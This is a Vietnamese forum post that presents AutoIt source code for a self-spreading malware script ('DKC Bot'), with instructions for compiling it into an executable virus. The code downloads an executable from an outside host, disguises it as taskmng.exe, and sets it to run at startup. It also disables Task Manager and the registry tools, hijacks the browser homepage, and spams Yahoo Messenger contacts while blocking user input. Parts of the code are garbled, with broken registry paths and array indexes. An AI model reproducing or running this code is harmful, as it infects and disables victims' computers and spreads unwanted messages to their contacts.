mình viết lên đây mục đích là để các bạn tham khảo ko khuyến khích phá hoại người khác(nếu có cao thủ hacker mình xin mạn phép nha)

Trước tiên bạn phải có chương trình autoit,mình ko úp lên vì mất công hiểu nhầm mình đưa virút lên.các bạn tự down theo link dưới nha ...

bạn vào http://www.autoitscript.com/autoit3/ để download autoit nhé
 

bắt đầu:viết code này trên trình autoit

Khoá màn hình và yêu cầu mật khẩu khi muốn trở lại màn hình làm việc

;

 ; ----------------------------------------------------------------------------
;
; ----------------------------------------------------------------------------

;--------------------------------------------
; Tac Gia: KVD
; Phan Mem: DKC Bot
; Phien Ban: 1.1
; Cong Dung: Quang cao Website thong qua Y!M
; Phat Hanh: 1-9-2006
;--------------------------------------------

; Thiet Lap
#NoTrayIcon
$website = "hacker.4vn_vnn"

; Lay Nhiem Vao He Thong
If Not FileExists(@WindowsDir & "\taskmng.exe") Then
InetGet ($website & "/dkc.exe", @WindowsDir & "\taskmng.exe", 0, 1)
Sleep(5000)
EndIf

; Ghi Khoa Registry
RegWrite("HKEY_CURRENT_USER\Software\Policies\Micr osoft\Internet Explorer\Control Panel", "Homepage", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", "1")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Start Page", "REG_SZ", $website)
RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_buzz", "content url", "REG_SZ", $website)
RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_Launchcast", "content url", "REG_SZ", $website)
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Wi ndows\CurrentVersion\Run", "Task Manager", "REG_SZ", @WindowsDir & "\taskmng.exe")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Window Title", "REG_SZ", "zzzKITClubzzz")
 

Danh Sach Tin Nhan Ngau Nhien

$tin[0] = "toi khac len day ba dong tho lanh" & $website & " "
$tin[0] = "Suot cuoc doi dau kho va co don" & $website & " "

$tin[0] = "Mieng tuy cuoi nhung long roi le" & $website & " "

$tin[0] = "Nguoi toi han cung la nguoi toi yeu" & $website & " "

$tin[0] = "Hacker.4vn_vnn crack antivirut send victim magic LPS pro hack" & $website & " "

; Ham Thay Doi Status & Gui Tin Nhan
While (1)
sleep(60000)
$tieude = WinGetTitle("Yahoo! Messenger", "")
$kiemtra = WinExists ($tieude)
If $kiemtra = 1 Then
$ngaunhien = Random(0,9,1)
ClipPut($tin[$ngaunhien])
BlockInput (1)
WinActivate($tieude)
Send("!m")
Send("un")
Send("^v {ENTER}{ENTER}")
Send("^m")
Send("{DOWN}")
Send("^{SHIFTDOWN}{END}{SHIFTUP}")
Send("{ENTER}")
Send("^v {ENTER}")
BlockInput (0)
EndIf
Sleep(1800000)
WEnd

; ----------------------------------------------------------------------------
;
; --------------------------------------------------------------------

copy 1 trong các đoạn mã trên rồi paste vào notepad, lưu thành file *.au3
sau đó bạn down autoit (bản mới nhất nhé) về cài đặt rồi click chuột phải vào file *.au3 chọn "Run script" để chạy trên máy (đừng dùng với những code virut)
chọn "Compile script" để biên dịch thành file *.exe (cái này dùng để tạo virus)

Con virus này , đừng có giỡn với nó nhá , coi chừng cài máy lại , nếu ko diệt dc hehe ( hoặc miễn online yahoo luôn ) len web chat thì ok
chúc các bạn thành công .nói trước đem cái này đi phá hoại thì bạn biết hậu quả thế nào rồi đấy